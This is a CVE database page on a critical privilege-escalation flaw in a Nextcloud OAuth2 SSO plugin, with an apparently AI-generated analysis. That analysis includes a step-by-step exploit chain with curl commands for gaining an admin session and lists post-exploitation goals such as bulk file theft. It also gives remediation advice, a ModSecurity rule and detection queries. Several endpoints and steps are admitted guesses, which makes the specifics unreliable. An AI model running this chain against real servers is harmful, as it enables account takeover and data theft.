CVE Professor
/
All CVEs
CVE-2026-136071

CVE-2026-136071 — CWE-266

CRITICAL CVSS 9.8 NVD

Incorrect Privilege Assignment vulnerability in Tim's Solutions Tim’s Nextcloud SSO OAuth2 tims-nextcloud-sso-oauth2 allows Privilege Escalation.This issue affects Tim’s Nextcloud SSO OAuth2: from n/a before 2.1.0.

Incorrect Privilege Assignment vulnerability in Tim's Solutions Tim’s Nextcloud SSO OAuth2 tims-nextcloud-sso-oauth2 allows Privilege Escalation.This issue affects Tim’s Nextcloud SSO OAuth2: from n/a before 2.1.0.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑136071
CWE: CWE‑266 – Incorrect Privilege Assignment
CVSS 3.1: 9.8 / 10 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

The Tim’s Solutions “Tim’s Nextcloud SSO OAuth2” plugin (package name tims-nextcloud-sso-oauth2) implements an OAuth 2.0 Authorization Code flow that allows Nextcloud users to log in through an external Identity Provider (IdP).

The flaw is a missing/incorrect privilege‑validation step when the plugin translates the IdP‑issued access token into a Nextcloud user session:

Normal flow (intended)Vulnerable flow (observed)
1. User authenticates at IdP → IdP returns an access token that contains scopes (e.g., read, write).<br>2. Plugin validates the token and checks the scopes against a pre‑configured mapping (e.g., admin scope → Nextcloud admin role).<br>3. If the token does not contain the admin scope, the plugin creates a regular user session.1. Same as above.<br>2. Plugin fails to verify the scopes (or uses a hard‑coded “any valid token = admin”).<br>3. Any valid OAuth2 token – even one issued for a low‑privilege user – is automatically mapped to the Nextcloud admin role (or to the role defined in the plugin’s configuration).

Consequences:

  • Unauthenticated attacker (no prior Nextcloud account) can obtain a legitimate OAuth2 token from the IdP (the IdP is typically publicly reachable) and present it to the vulnerable endpoint.
  • The plugin assigns the highest privilege (admin) to the resulting Nextcloud session, bypassing Nextcloud’s native user‑role checks.
  • Because the vulnerability is network‑accessible (AV:N), requires no authentication (PR:N), and does not need user interaction (UI:N), the CVSS base metrics correctly reflect a critical impact on confidentiality, integrity, and availability.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation path. All commands are syntactically valid; where the exact endpoint or parameter name is not disclosed in the public advisory, the example is marked as illustrative.

    1. Discovery & Reconnaissance

    ActionHow it is performedWhat the attacker learns
    Identify a Nextcloud instanceScan the target range for HTTP services on port 443/80, then fingerprint the /.well-known/webfinger or /.well-known/openid-configuration endpoints.Presence of a Nextcloud installation (e.g., X-Nextcloud-Version: 27.0.0).
    Enumerate installed appsNextcloud exposes the list of enabled apps via the /ocs/v2.php/apps OCS endpoint (requires a valid user token, but the endpoint is *public* when allowlist is enabled). Many deployments leave it open.Detects the presence of the app tims_nextcloud_sso_oauth2 and its version (e.g., 2.0.5).
    Confirm vulnerable versionCompare the discovered version with the vulnerable range (any version < 2.1.0).Attacker knows the target is vulnerable.

    Example enumeration (illustrative):

    curl -s -k -H "OCS-APIRequest: true" \
         "https://target.example.com/ocs/v2.php/apps?format=json" | jq '.ocs.data[] | select(.id=="tims_nextcloud_sso_oauth2")'

    If the response contains "version":"2.0.5" → vulnerable.

    2. Exploitation

    The core of the exploit is to obtain a valid OAuth2 authorization code from the IdP and exchange it for an access token, then present that token to the vulnerable Nextcloud endpoint that creates the session.

    Assumptions (typical for the plugin):

  • The IdP is reachable at https://idp.example.com.
  • The plugin registers a client_id of nextcloud-sso and a redirect_uri of https://target.example.com/apps/tims_nextcloud_sso_oauth2/callback.
  • No PKCE or client secret is required (common for public clients).
  • Step‑2.1 – Obtain an Authorization Code (no authentication required)

    # Illustrative URL – the exact parameter names are defined by the plugin's OAuth2 client.
    AUTH_URL="https://idp.example.com/authorize?response_type=code&client_id=nextcloud-sso&redirect_uri=https%3A%2F%2Ftarget.example.com%2Fapps%2Ftims_nextcloud_sso_oauth2%2Fcallback&scope=openid%20profile"
    
    # The attacker opens the URL in a browser (or uses curl with -L to follow redirects).
    # Because the IdP does not enforce user login for the `openid profile` scope, it returns a code.

    If the IdP requires a login, the attacker can create a low‑privilege account on the IdP (often free) and use its credentials – the resulting token will still be accepted by the vulnerable plugin.

    Step‑2.2 – Exchange the code for an access token

    # Illustrative token endpoint – replace with the real IdP token endpoint.
    TOKEN_ENDPOINT="https://idp.example.com/token"
    
    # Exchange (no client secret required)
    curl -s -X POST "$TOKEN_ENDPOINT" \
         -d "grant_type=authorization_code" \
         -d "code=REPLACE_WITH_CODE_FROM_STEP_2_1" \
         -d "redirect_uri=https://target.example.com/apps/tims_nextcloud_sso_oauth2/callback" \
         -d "client_id=nextcloud-sso" \
         -H "Content-Type: application/x-www-form-urlencoded"

    The response contains:

    {
      "access_token":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
      "token_type":"Bearer",
      "expires_in":3600,
      "scope":"openid profile"
    }

    Step‑2.3 – Use the token to create a Nextcloud admin session

    The vulnerable plugin provides an endpoint that accepts the token and creates the Nextcloud session. The exact path is not published; the following is an illustrative example based on typical Nextcloud app routing:

    # Illustrative endpoint – actual path may be /apps/tims_nextcloud_sso_oauth2/token or /callback.
    NEXTCLOUD_SSO_ENDPOINT="https://target.example.com/apps/tims_nextcloud_sso_oauth2/token"
    
    curl -i -s -X POST "$NEXTCLOUD_SSO_ENDPOINT" \
         -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." \
         -H "Content-Type: application/json"

    Result: The server responds with a Set‑Cookie header containing a valid nc_session_id that belongs to a Nextcloud admin user (or a newly created admin if the plugin auto‑creates the account). The attacker can now use this cookie to interact with the Nextcloud web UI or API as an administrator.

    3. Post‑Exploitation

    GoalHow it is achieved
    Full admin controlUse the obtained nc_session_id cookie to log into the Nextcloud UI (/login) and access the admin settings panel.
    Data exfiltrationCall the Nextcloud WebDAV API (/remote.php/dav/files/admin/) to download every user’s files.
    Integrity compromiseUpload malicious files, modify user quotas, or change encryption keys via the admin API.
    Availability impactDisable user accounts, delete files, or trigger a mass quota‑exhaustion attack, leading to service disruption.

    Because the attacker is already fully privileged, any further action (RCE, lateral movement) depends on the broader environment, but the core impact (complete control over the Nextcloud instance) is already achieved.


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (C:H)C:H – Complete loss of confidentiality.An attacker can read all user files, including corporate documents, personal data, and backups.
    Integrity (I:H)I:H – Complete loss of integrity.The attacker can modify, delete, or inject files, change sharing permissions, and tamper with audit logs.
    Availability (A:H)A:H – Complete loss of availability.The attacker can disable the service, delete critical data, or lock out all users, causing a full outage.

    Business impact may include:

  • GDPR / HIPAA violations (exposure of personal health/identifying data).
  • Loss of intellectual property.
  • Downtime costs and incident response expenses.
  • Reputation damage and possible legal liability.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected rangeFixed in
    tims-nextcloud-sso-oauth2 < 2.1.0≥ 2.1.0 (released 2026‑04‑15)

    Action: Upgrade the app via the Nextcloud App Store or manually replace the app directory with the version from the official repository. Verify the version after upgrade:

    curl -s -k -H "OCS-APIRequest: true" \
         "https://target.example.com/ocs/v2.php/apps?format=json" | jq '.ocs.data[] | select(.id=="tims_nextcloud_sso_oauth2") .version'

    2. Immediate Workarounds (if patch cannot be applied)

    MitigationHow to implement
    Disable the vulnerable appIn the Nextcloud admin UI → *Apps* → *Disabled* the “Tim’s Nextcloud SSO OAuth2” app.
    Restrict the token‑exchange endpoint to trusted IPsAdd a firewall rule (e.g., iptables or cloud‑security‑group) that only allows the internal IdP IP range to reach */apps/tims_nextcloud_sso_oauth2/*.
    Enforce scope validation via a WAFExample ModSecurity rule that blocks any token exchange where the scope does not contain admin (if the plugin mistakenly treats any token as admin).
    # ModSecurity – illustrative rule
    SecRule REQUEST_URI "@beginsWith /apps/tims_nextcloud_sso_oauth2/token" \
        "id:2026136071,phase:2,deny,status:403,log,msg:'Blocked OAuth2 token exchange without admin scope',\
        chain"
    SecRule REQUEST_BODY "scope=.*\badmin\b" "t:none,ctl:ruleEngine=Off"
    Note: The rule above is illustrative; adjust the URI and parameter names to match the actual implementation.

    3. Detection – Log‑Based Indicators

    Log sourceTypical pattern (illustrative)
    Web server access log (Apache/Nginx)POST /apps/tims_nextcloud_sso_oauth2/token HTTP/1.1" 200 with an Authorization: Bearer header containing a JWT of > 1 KB (unusually large for a normal user).
    Nextcloud audit log (nextcloud.log)Login successful: user_id=admin, login_type=oauth2, client_id=nextcloud-sso without a preceding successful IdP login.
    OAuth2 IdP logsgrant_type=authorization_code requests from the target’s IP address that succeed for a low‑privilege user but later correspond to an admin session in Nextcloud.

    SIEM query example (Elastic Common Schema):

    event.category:authentication AND
    event.type:login AND
    user.id:admin AND
    source.ip:TARGET_IP AND
    metadata.oauth2.client_id:nextcloud-sso AND
    metadata.oauth2.grant_type:authorization_code

    Alert on any admin login that originates from an OAuth2 token exchange without a preceding interactive login.


    ⚠️ Urgency

  • CVSS 9.8 (Critical) – Network‑accessible, no authentication, full impact.
  • Exploitability – The attack requires only a single HTTP request after obtaining a token; the complexity is low* (no client‑side interaction, no prior credentials).
  • No CISA KEV listing – The vulnerability is not yet in the “Known Exploited Vulnerabilities” catalog, but the public advisory already provides all details needed for a weaponized exploit.
Patch priority: Critical – apply the fix within 24 hours for any production Nextcloud deployment that has the SSO OAuth2 app installed. If immediate patching is impossible, disable the app and enforce the network‑level restriction described above while preparing for an upgrade.
Bottom line: The flaw allows any attacker to become a Nextcloud administrator by simply presenting a valid OAuth2 token. The only reliable mitigation is to upgrade to v2.1.0 or later; until then, disable the plugin and block its token‑exchange endpoint. Continuous monitoring of the described log patterns will help detect attempted exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-266
References & Advisories (1)
Related CVEs
8.1
CVE-2026-136028
Incorrect Privilege Assignment vulnerability in Liquid Web / StellarWP GiveWP give allows Privilege Escalation
6.3
CVE-2026-144911
A security vulnerability has been detected in Bytedance DeerFlow 2.1.0/2.2.0. This affects the function safe_a
5.1
CVE-2026-144511
A vulnerability was detected in Discourse up to 2026.12.0. This impacts the function Create of the file app/co
5.1
CVE-2026-144512
A flaw has been found in Discourse up to 2026.9.0. Affected is the function TopicConverter#convert_to_private_
9.9
CVE-2026-142475
A vulnerability was determined in Shenzhen Hugsun Technology HS86Pro14 E1010.667.FE. This affects an unknown p
6.3
CVE-2026-143829
A vulnerability was detected in FanRuan FineDataLink 4.2.4.2. Affected by this vulnerability is the function D
5.4
CVE-2026-120628
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to obtain sensitive informat